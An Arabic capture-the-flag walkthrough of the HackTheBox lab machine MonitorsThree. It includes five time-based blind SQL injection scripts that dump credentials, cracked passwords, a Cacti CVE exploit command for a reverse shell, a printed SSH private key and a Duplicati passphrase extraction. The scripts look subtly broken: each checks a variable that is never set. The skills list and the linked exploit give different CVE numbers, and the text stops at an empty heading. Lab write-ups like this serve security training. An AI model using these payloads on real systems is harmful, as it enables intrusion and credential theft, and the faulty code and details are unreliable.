> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# شرح MonitorsThree HackTheBox

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**المهارات:**

* تعداد النطاقات الفرعية
* حقن SQL - حقن أعمى يدوي قائم على الزمن (برمجة بايثون)
* كسر التجزئات
* استغلال Cacti (CVE-2024-25642) - استيراد حزمة خبيثة
* تسرب المعلومات
* استغلال خدمة داخلية - Duplicati
* استغلال Duplicati - تجاوز مصادقة تسجيل الدخول باستخدام عبارة مرور الخادم
* Duplicati - إنشاء نسخة احتياطية لقراءة وكتابة الملفات بصلاحيات مرتفعة (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع <a href="#reconnaissance" id="reconnaissance"></a>

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/3ffa995a29e2dad3ae747c075244712abe2154d2" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/97462340375766cd53535fb9fc58df5eb38c2472" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="/files/a8bce6bbf286c278ed0764e512c45b37804814e2" alt="" width="563"><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة.

<figure><img src="/files/52a65f7910412e9e6521c6dc3dc5cf4b0192a490" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="/files/aa7f8d0fb5558e569c142976365f2e96a9865e72" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

<figure><img src="/files/d534543a052f2f38c3aedf5bd87da6b0aa7e6d1a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c335e454860fb828fe1e90397dc87ef62f526073" alt=""><figcaption></figcaption></figure>

### قائمة الأدلة:

**بحث فقط** الأدلة

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="/files/526256df6df1a45986d0474ff99f2840ae41e455" alt=""><figcaption></figcaption></figure>

/*/* ابحث عن ملفات بامتدادات محددة (PHP، HTML، TXT) في دليل المسؤول:/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

نعثر على `db.php` الملف، لكنه لا يحتوي على أي بيانات.

<figure><img src="/files/5d6c0a33d5580692238fd70f75bdb0222f0ab657" alt=""><figcaption></figcaption></figure>

## حقن SQL

#### اكتشاف الثغرة

حددنا ثغرة SQL في ميزة "نسيت كلمة المرور". تم استخدام الحمولة التالية لتأكيد الثغرة:

```sql
admin' or 1=1-- -
```

<figure><img src="/files/51ff9be0221462da15710e3db3d1d062360d10af" alt=""><figcaption></figcaption></figure>

#### تأكيد الثغرة بهجوم قائم على الزمن

لتأكيد الثغرة، استخدمنا هجوم SQL قائمًا على الزمن:

```sql
admin' and sleep(5)-- -
```

استغرق الرد 5 ثوانٍ، مما يؤكد الثغرة.

<figure><img src="/files/159cad888159f6b48742a1bcffaa9bd61099c37b" alt=""><figcaption></figcaption></figure>

## **حقن SQL - قائم على الزمن**

#### أتمتة الاستغلال باستخدام سكربت بايثون

قمنا بتطوير سكربت بايثون لأتمتة استخراج البيانات عبر حقن SQL. استخرج السكربت اسم قاعدة البيانات، وأسماء الجداول، والأعمدة، وأخيرًا البيانات الحساسة مثل أسماء المستخدمين وكلمات المرور.

### قاعدة البيانات:

**مثال على سكربت لاستخراج اسم قاعدة البيانات:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# إعداد السجل
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] جارٍ الخروج.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("بدء هجوم حقن SQL...")
    
    for position in range(1, 100):
        # مؤشر للتحقق مما إذا كان قد تم العثور على حرف
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"فشل الطلب: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"البيانات المستخرجة حتى الآن: {extracted_data}")
                # تم العثور على حرف
                break
        
        # إذا لم يتم العثور على حرف لهذا الموضع، أوقف الحلقة
        if not character_found:
            logger.info(f"لم يتم العثور على حرف في الموضع {position}. إنهاء الاستخراج.")
            break
    
    logger.info("اكتمل حقن SQL!")
    logger.info(f"البيانات النهائية المستخرجة: {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="تنفيذ هجوم حقن SQL قائم على الزمن.")
    parser.add_argument("--url", required=True, help="عنوان URL الهدف لحقن SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="مدة التأخير لهجوم حقن SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **اسم قاعدة البيانات**: `monitorsthree_db`

<figure><img src="/files/e52137d7c2171ed91e313914539ffd725a2c5c61" alt=""><figcaption></figcaption></figure>

### **قواعد البيانات:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# إعداد السجل
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] جارٍ الخروج.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"استخراج اسم قاعدة البيانات عند الإزاحة {offset}...")
    
    for position in range(1, 100):
        # مؤشر للتحقق مما إذا كان قد تم العثور على حرف
        
        for character in characters:
            # تنسيق طلب SQL بكل المتغيرات المطلوبة
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"فشل الطلب: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"البيانات المستخرجة حتى الآن: {extracted_data}")
                # تم العثور على حرف
                break
        
        # إذا لم يتم العثور على حرف لهذا الموضع، أوقف الحلقة
        if not character_found:
            logger.info(f"لم يتم العثور على حرف في الموضع {position}. إنهاء الاستخراج.")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # طلب لاستخراج أسماء قواعد البيانات
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("لم يتم العثور على المزيد من قواعد البيانات.")
            break
        
        databases.append(database_name)
        logger.info(f"تم العثور على قاعدة البيانات: {database_name}")
        offset += 1
    
    logger.info("اكتمل حقن SQL!")
    logger.info(f"قائمة قواعد البيانات: {databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="تنفيذ هجوم حقن SQL قائم على الزمن.")
    parser.add_argument("--url", required=True, help="عنوان URL الهدف لحقن SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="مدة التأخير لهجوم حقن SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/87b64371429ec990596f87af2c11104c0b8f693e" alt=""><figcaption></figcaption></figure>

### **الجداول:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# إعداد السجل
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] جارٍ الخروج.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"استخراج اسم الجدول عند الإزاحة {offset}...")
    
    for position in range(1, 100):
        # مؤشر للتحقق مما إذا كان قد تم العثور على حرف
        
        for character in characters:
            # تنسيق طلب SQL بكل المتغيرات المطلوبة
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"فشل الطلب: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"البيانات المستخرجة حتى الآن: {extracted_data}")
                # تم العثور على حرف
                break
        
        # إذا لم يتم العثور على حرف لهذا الموضع، أوقف الحلقة
        if not character_found:
            logger.info(f"لم يتم العثور على حرف في الموضع {position}. إنهاء الاستخراج.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # طلب لاستخراج أسماء الجداول من قاعدة بيانات `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("لم يتم العثور على المزيد من الجداول.")
            break
        
        tables.append(table_name)
        logger.info(f"تم العثور على جدول: {table_name}")
        offset += 1
    
    logger.info("اكتمل حقن SQL!")
    logger.info(f"قائمة الجداول في monitorsthree_db: {tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="تنفيذ هجوم حقن SQL قائم على الزمن.")
    parser.add_argument("--url", required=True, help="عنوان URL الهدف لحقن SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="مدة التأخير لهجوم حقن SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **الجداول** : `invoices`, `customers`, `changelog`, `المهام`, `invoice_tasks`, `users`

<figure><img src="/files/13390b60702920f3d3aaaa2b32185818ebb36597" alt=""><figcaption></figcaption></figure>

### **الأعمدة:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# إعداد السجل
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] جارٍ الخروج.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"استخراج اسم العمود عند الإزاحة {offset}...")
    
    for position in range(1, 100):
        # مؤشر للتحقق مما إذا كان قد تم العثور على حرف
        
        for character in characters:
            # تنسيق طلب SQL بكل المتغيرات المطلوبة
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"فشل الطلب: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"البيانات المستخرجة حتى الآن: {extracted_data}")
                # تم العثور على حرف
                break
        
        # إذا لم يتم العثور على حرف لهذا الموضع، أوقف الحلقة
        if not character_found:
            logger.info(f"لم يتم العثور على حرف في الموضع {position}. إنهاء الاستخراج.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # طلب لاستخراج أسماء الأعمدة من جدول `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("لم يتم العثور على المزيد من الأعمدة.")
            break
        
        columns.append(column_name)
        logger.info(f"تم العثور على عمود: {column_name}")
        offset += 1
    
    logger.info("اكتمل حقن SQL!")
    logger.info(f"قائمة الأعمدة في جدول 'users': {columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="تنفيذ هجوم حقن SQL قائم على الزمن.")
    parser.add_argument("--url", required=True, help="عنوان URL الهدف لحقن SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="مدة التأخير لهجوم حقن SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **الأعمدة في `users` الجدول**: `المعرّف`, `اسم المستخدم`, `البريد الإلكتروني`, `كلمة المرور`, `معلمة`, `الموضع`, `dob`, `start_date`, `salary`

<figure><img src="/files/656b6b28858a305e8800113d22c7f839c8eab9db" alt=""><figcaption></figcaption></figure>

### **البيانات المستخرجة**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# إعداد السجل
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] جارٍ الخروج.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"استخراج البيانات عند الإزاحة {offset}...")
    
    for position in range(1, 100):
        # مؤشر للتحقق مما إذا كان قد تم العثور على حرف
        
        for character in characters:
            # تنسيق طلب SQL بكل المتغيرات المطلوبة
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"فشل الطلب: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"البيانات المستخرجة حتى الآن: {extracted_data}")
                # تم العثور على حرف
                break
        
        # إذا لم يتم العثور على حرف لهذا الموضع، أوقف الحلقة
        if not character_found:
            logger.info(f"لم يتم العثور على حرف في الموضع {position}. إنهاء الاستخراج.")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # طلب لاستخراج أسماء المستخدمين
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # طلب لاستخراج كلمات المرور
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("لم يتم العثور على المزيد من بيانات الاعتماد.")
            break
        
        credentials.append((username, password))
        logger.info(f"تم العثور على بيانات اعتماد: {username}:{password}")
        offset += 1
    
    logger.info("اكتمل حقن SQL!")
    logger.info(f"قائمة بيانات الاعتماد: {credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="تنفيذ هجوم حقن SQL قائم على الزمن لاستخراج بيانات الاعتماد.")
    parser.add_argument("--url", required=True, help="عنوان URL الهدف لحقن SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="مدة التأخير لهجوم حقن SQL")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="/files/04f68fa1df5d28232bc81df5f2d9157cbb3b66b7" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## كسر كلمات المرور

{% embed url="<https://crackstation.net/>" %}

استخدمنا **CrackStation** لكسر كلمات مرور التجزئة. تم الحصول على بيانات الاعتماد التالية:

<figure><img src="/files/e2d72ae8c505b06cc56f0d55ac80816d67c52c10" alt=""><figcaption></figcaption></figure>

**المعرّفات:**

* المستخدم: `admin`
* كلمة المرور: `greencacti2001`

<figure><img src="/files/7b4eaba48ad31337a4c5f1755c29100a96b6d510" alt=""><figcaption></figcaption></figure>

### /*/* قائمة النطاقات الفرعية:/*/*

باستخدام أمر Gobuster لحصر النطاقات الفرعية:

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

نعثر على `cacti.monitorsthree.htb` نطاق فرعي.

<figure><img src="/files/8b64ee5e4caf6959855c4c28aa241d4304f7d8cb" alt=""><figcaption></figcaption></figure>

نضيف هذا الإدخال في `/etc/hosts`.

<figure><img src="/files/ca88ed51e8cd3854eb8e01891859a9f47d261359" alt=""><figcaption></figcaption></figure>

**الوصول إلى لوحة اتصال Cacti:**

لوحة اتصال Cacti، الإصدار 1.2.26، متاحة على هذا النطاق الفرعي. باستخدام `admin:greencacti2001` بيانات الاعتماد، نتمكن من الاتصال.

<figure><img src="/files/c16b28fc790227a03a60536cadffc6e4067da624" alt=""><figcaption></figcaption></figure>

## استغلال ثغرة تنفيذ أوامر عن بُعد (RCE) في Cacti <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

لاستغلال ثغرة NCE في Cacti، سنعدّل ملف PHP ونشغّل سكربت تشغيل:

<figure><img src="/files/0b557f5dda001c157a7a4a8591ecb8b5b5f6feb9" alt=""><figcaption></figcaption></figure>

ينشئ هذا السكربت ملفًا مضغوطًا يحتوي على حمولة PHP سيتم حقنها في الخادم الهدف، مما يتيح لنا الحصول على shell عكسي.

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/2d2ff09b656d7a9669488826ee820cc704db3a37" alt=""><figcaption></figcaption></figure></div>

## **تصعيد الامتيازات :**

من خلال استكشاف `/var/www/html` دليل الويب، نجد ملفات قاعدة البيانات في `cacti` المجلد، بما في ذلك `config.php` ملف الإعداد الموجود في `/var/www/html/cacti/include/config.php`.

مقتطفات من `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="/files/f91cfb384202eafe2a02688c48e6576a04b02d52" alt=""><figcaption></figcaption></figure>

ثم نقوم بسرد المستخدمين في `user_auth` الجدول في `cacti` قاعدة البيانات:

<figure><img src="/files/614c97252b81d1b0e5fb89b41fd8eeccc6bc7b74" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="/files/e5a0719a6a531964c76151e477760708233201e3" alt=""><figcaption></figcaption></figure></div>

نستخدم `john` لكسر كلمات المرور المسترجعة:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

هذا يكشف عن `marcus` كلمة مرور المستخدم: `12345678910`.

<figure><img src="/files/d5a388de273d70a2980cc818bf127d423bbfd541" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/555f9c3096bf6139edc812139d46f4c145ff05c1" alt=""><figcaption></figcaption></figure>

بعد هذه الخطوة، نحصل أيضًا على `marcus` مفتاح SSH للمستخدم:

<figure><img src="/files/8407866ff4e5bfad1eee26115309da37363162d7" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

سنلاحظ أولًا المنافذ المفتوحة داخليًا باستخدام الأمر التالي:

```bash
netstat -nltp
```

<figure><img src="/files/d52f516bf5a370a0f4f938f909eb71b2c526f7b6" alt="" width="563"><figcaption></figcaption></figure>

سنحوّل المنفذ الداخلي **8200** من الخادم إلى جهازنا المحلي للوصول إليه عبر المتصفح. يمكن إجراء هذا التحويل عبر SSH باستخدام الأمر التالي:

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## استغلال Duplicati:

### تجاوز مصادقة تسجيل الدخول في Duplicati

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

أثناء تحليل الجهاز الهدف، تم اكتشاف **Duplicati** بوابة ويب. وكانت هذه البوابة تحتوي على لوحة مصادقة تطلب كلمة مرور.

<figure><img src="/files/bd549bcd9984c458486817930cbcab6e4a214ed6" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati هو عميل نسخ احتياطي يخزن بأمان نسخًا احتياطية بعيدة مشفرة وتزايدية ومضغوطة للملفات المحلية على خدمات التخزين السحابي وخوادم الملفات
{% endhint %}

من خلال استكشاف النظام، تم تحديد دليل إعدادات Duplicati في `/opt/duplicati`. وتم العثور على ملف SQLite يُسمى `Duplicati-server.sqlite` تم تحديده على أنه قد يحتوي على معلومات حساسة.

<figure><img src="/files/a194841cc0b606bf38df4b9e8d9c905aa58d22f6" alt=""><figcaption></figcaption></figure>

#### تنزيل ملف SQLite

لتحليل هذا الملف، تم تنزيله إلى جهازنا المحلي باستخدام خادم HTTP في بايثون:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/ea5577e635abf4092dc378aeeae17ad35d4d8b45" alt=""><figcaption></figcaption></figure>

#### تحليل ملف SQLite

تم فتح الملف باستخدام `sqlite3` الأداة لمراجعة محتواه:

```bash
sqlite3 Duplicati-server.sqlite
```

تم سرد الجداول، وتم اختيار `الخيار` الجدول لاستخراج البيانات:

```sql
.tables
select * from option;
```

<figure><img src="/files/e3b7b949a7b327313efa5808cfc10d4c2378d570" alt=""><figcaption></figcaption></figure>

| المفتاح                           | القيمة                                         |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### تحويل عبارة المرور

قيمة `server-passphrase` مشفرة بصيغة Base64. لفك ترميزها وتحويلها إلى صيغة سداسية عشرية، يُستخدم الأمر التالي:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/9d2284624f2c2a6d63392afc5c78426a94c09990" alt=""><figcaption></figcaption></figure>

#### أعطى هذا القيمة السداسية عشرية التالية:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### حساب كلمة المرور النهائية

